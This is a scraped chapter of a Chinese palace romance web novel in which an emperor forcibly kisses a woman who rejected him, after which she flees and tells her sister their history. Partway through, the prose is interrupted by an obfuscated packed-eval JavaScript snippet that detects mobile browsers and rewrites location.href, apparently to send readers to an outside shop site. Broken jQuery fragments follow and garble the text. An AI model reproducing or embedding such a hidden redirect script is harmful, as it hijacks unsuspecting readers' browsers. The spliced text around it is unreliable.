默认冷灰
24号文字
方正启体

15. 强吻

作者:水暖鸭知本书字数:K更新时间:
    “圣人三年前便知道结果,何来浪费一说。”


    “除了我你难道还能嫁给别人”。


    顾珈似听见了什么笑话,坐回椅子“圣人这话让人听了去还以为我们之间有什么,我顾珈清清白白的闺女,何人不能嫁”。


    李维桢到不发怒,“那个徐家的傻小子吗?还是罗家的愣头青”。


    对于他知道这些,顾珈不意外,再次嗤笑一声,“圣人明见”。


    “你看不上他们”。李维桢陈述事实。


    “徐公子有情有义,罗公子风趣幽默,配我顾珈皆绰绰有余,圣人未免武断了”。


    “莫要说气话了,浪费了那么久,朕现在一刻也不想浪费”。


    “那是你的想法,与我有什么干系。三年未见,圣人何故又来纠缠”。


    “三年多前,朕刚登基一年多,天下未稳,有些事情身不由己,可是现在的情况跟以前不一样了,顾珈,我们重新开始好不好,做我的皇后,以后我只有你一个人”。


    顾珈转过头看着他“三年前,你让我等你,我问你能否做到一生一世一双人,你做不到,那时的我们就再也没有以后了,说我顾珈霸道也好,妒忌也好,男人有的是,我绝对不跟别人共侍一夫,你即做不到,我便再也不纠缠你,你的千万种理由与我何干,天子一言九鼎,如今又是如何”。


    “我知道三年前的情况多说无益,但是现在既然我们彼此放不下,为什么不给彼此一个机会,不要再固执下去了,每次坐在宫中看着呈上来消息中,你今天去跟徐肃跑马,明天去跟罗起元踏青,还有什么张三郎王四郎的,我怕再这样下去,我真的会忍不住杀了他他们。”李维桢垂下眼眸,长长的眼睫遮出一团暗影,不再用朕这个自称。


    “你这是在危胁我吗”。


    “没有一个男人看见心爱的女人天天跟别的男人在一起不疯的”,李维桢抬起头,直直的盯进她的眼里。


    “我们不过是清清白白的朋友,按照你的说法的话,我是先砍吴淑妃,还是剁了王昭容?”


    “从此以后虚置后宫,我不碰她们”,李维桢正色道。


    “所以呢”顾珈嘲弄的笑道“你觉得对我是天大的恩宠和施舍了,可是,我却不稀罕”。


    “那你要我怎样?”李维桢已是有些动怒了,在龙椅上做了五年,很久没有人这样顶撞他了。


    “要想我答应你也行,你有几个妃子,我先去睡几个男人,吴淑妃、王昭容,这就两个了,那我明天先去睡了徐肃,后天再去睡罗起元……啊!你!……”


    李维桢耐心渐渐耗尽,眸光越来越暗,指尖越攥越紧,偏顾珈越说越来劲,听到最后两句,李维桢的戾气陡然上涌,再无半分克制,他骤然起身,一把绕过桌子,修长的指节扣住她手腕,在她震惊的目光中,猛的拉起她,长臂一伸便将人扣在怀中,欺身而上,做了一件他一直想做的事,微凉的唇用力的覆上她嫣红的唇瓣。


    李维桢一手钳着她的手举高,另一支手攥紧她腰肢将人狠狠按在廊柱上,不是温柔缱绻,而是带着怒意与惩罚的碾转。


    “唔!”顾珈脑子一轰,猛然反应过来,用力挣扎,他却纹丝不动,反而越搂越紧,顾珈只觉得周遭气息骤然滚烫。


    初时,李维桢只是想让那唇瓣不要再说出让他生气的话,渐渐的,越是越来越无法自拔,他半阖的眼底翻涌着暗潮,似是要将三年时光都倾注在这唇齿之间,不自觉的想要攫取更多甜蜜,几乎要将她拆吞入腹。


    良久,他才依依不舍的离开她红肿的唇瓣,低哑却道“顾珈,你这辈子都只能是我的女人”。


    顾珈猛的回神,眼睛瞬的恢复清明,下一瞬间,她扬手狠狠一巴掌甩在他脸上。


    “啪!”的一声脆响,周遭瞬间死寂。


    李维桢的脸被她打的偏了过去,黑发垂落几丝遮住眉眼,空气静的吓人,只剩下两人急促的喘息。


    顾珈胸口剧烈起伏,眼眶泛红,“李维桢,你别太过分了!”


    李维桢缓缓转过头,眼神冷得像冰,他声音低沉发寒,带着被冒犯的怒意与压抑不住的醋意,一字一顿,道,“三年了,我看着你对别的男人言笑晏晏,看那些男人像苍蝇一样往你身上贴,顾珈,你这样对我,才叫过分。”


    话音未落,他再次俯身,这一次不再是惩罚,而是带着雄性的强势占有欲。


    顾珈又惊又慌,却又不自觉的想要沉沦,她从未被人如此对待过,这感觉让她心慌,偏李维桢虽看着并不魁梧,却身形精瘦有力,她硬是挣不过。


    他力道大得像是要把她揉碎融进自已骨血里,胸膛紧紧贴着她,起初他还是稍微克制的,很快他便彻底失控,每一次急促的喘息都喷在她泛红的耳廓,直到脸颊感到一点湿润。


    却是顾珈的一滴眼泪顺着眼角滑落,滴到他唇角。


    那滚烫的濡湿,却像是一盆冰水,瞬间浇灭了他心里的暴戾。


    他心脏狠狠一抽,微微退开半步,额头抵着她的,方才那股要将她拆吃入腹的狠劲瞬间消散,手指颤抖着想擦去她的泪,声音暗哑的低谓,“顾珈……你要我拿你怎么办,我想尝试忘了你,给你自由,可是我做不到”。


    顾珈趁着片刻空隙,用尽全身力气,猛的抬手将他狠狠推开,不等他反应,转身就冲出了房间。


    只留李维桢面对着桌上的残酒,手掌攥的发白,最终也只是长叹一声。


    顾珈冲出房间后,被内侍拦在门外的白芍与绿芷忙跟上。


    顾珈冲到楼下,翻身上了马车,喝住要上来的白芍与绿芷,双手抱膝,头深深的埋下,却是再也忍不住咬唇流起泪来。


    府中顾珂已经梳洗完,换了寝衣,靠在贵妃榻上正翻着书。


    听见外面守夜的小丫头的声音,她正待出声询问,却见顾珈跌跌撞撞的冲进房内,她鬓发凌乱,眼眶红肿,唇瓣更是红肿的不正常,脸上虽已无泪痕,但还是吓了顾珂一跳。


    顾珂猛的站起身子,刚想上前扶住她,又猛然站住,听见门口白芍和绿芷的声音,以眼神示意知情知意出去守着,又稍微提高点声音,“姐姐,杜姐姐带的礼物我还寻思明早使人给你送去,你这倒急吧吧的上来讨要了”。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468484|201349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听见院子里的小丫头都被知情知意打发了,只留她二人守在门口,连白芍和绿芷都只在院中立着。


    这才上前扶住脸色苍白的顾珈坐到榻边,又亲自倒了杯茶递给顾珈。


    顾珈沉默着直把一热盏茶都饮尽,才觉得稍稍缓过来点神。


    “三年前,我曾经恋慕过当今圣人”。


    顾珈开口,顾珂眉头一跳,转念一想便觉得一切都合理了,顾珈对相亲的抵触……还有那时马球比赛后期的反常。


    不是顾珂王婆卖瓜自卖自夸,把顾珈和李维桢放在一起,她觉得还真不好说谁配谁呢。


    顾珈顿了顿,继续道,“大约在四年前左右,在一次打马球时……”


    顾珈是在五年前的一次马球会上认识的当时还是太子的李维桢。


    初时也并没在意,只是几次马球下来,见李维桢马球打的好,才注意到他,几次合作下来两人便熟悉了。


    后来李维桢就找各种理由约她出去,有时是跑马,有时是打马球,有时仅仅是在散步或喝茶,渐渐的,她竟慢慢的盼望和他一起出去。


    她意识到,她应该是喜欢上他了,而且,从他看她的眼神中,她看到了和徐肃、罗起元他们一样的东西,甚至比他们更炙热。


    但是他们谁也没说破,直到永王之乱,他登基后,她意识到一件事,他会是天子,他不会更不能一辈子只守着她一个。


    而她,是接受不了与别的女人共侍一夫的。


    虽然顾府的三个男主子都是没有纳妾,可是身边种种比比皆是。


    七品小官都左一房又一房的往回台,就拿韦二娘来说,韦尚书就算不好美色的了,只纳了二个妾,可他们聚会时,也没少听韦二娘说过她母亲的难处。


    她不想也不屑变成那样,把青春和精力浪费到和别的女人勾心斗角上,最后硬生生的把自已磋磨成一个丑陋妇人。


    他登基后很忙,忙到他们一年都没见过面,只他经常写些书信或着人送些小玩艺来。


    他快出孝时,有适龄姑娘的各路世家已经蠢蠢欲动,待他出了孝,更是进入了白热化,年轻英俊帝王空无一人的后宫,实在是诱人的很。


    坊间甚至挂起了赌牌,押谁能入主中宫,有押手握重兵的威远侯嫡女吴氏的,有押出身琅琊王氏嫡支的吏部尚书之女王氏的,甚至因为祖父在读书人间的影响力,她也榜上有名。


    后来,祖母过世,她要守孝三年。


    祖母出殡后的第二天,他约她在春风楼相见,房间跟今天是同一间。


    去之前就隐隐有预感,在见了他之后一切预感都成了真。


    好久未见,对他的感觉陌生又熟悉。


    窗户纸薄的都不用捅,他只问说了一句话,能否等她三年。


    她也只问了他一句话,能否一辈子只她一人。


    他未回答,她也便未回答。


    饮完桌上的茶后,她把装满他所有书信的匣子放在桌上,走出了春风楼,也打算走出这件注定无结果的事。


    后来,吴氏进了宫,再后来,王氏也进了宫。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)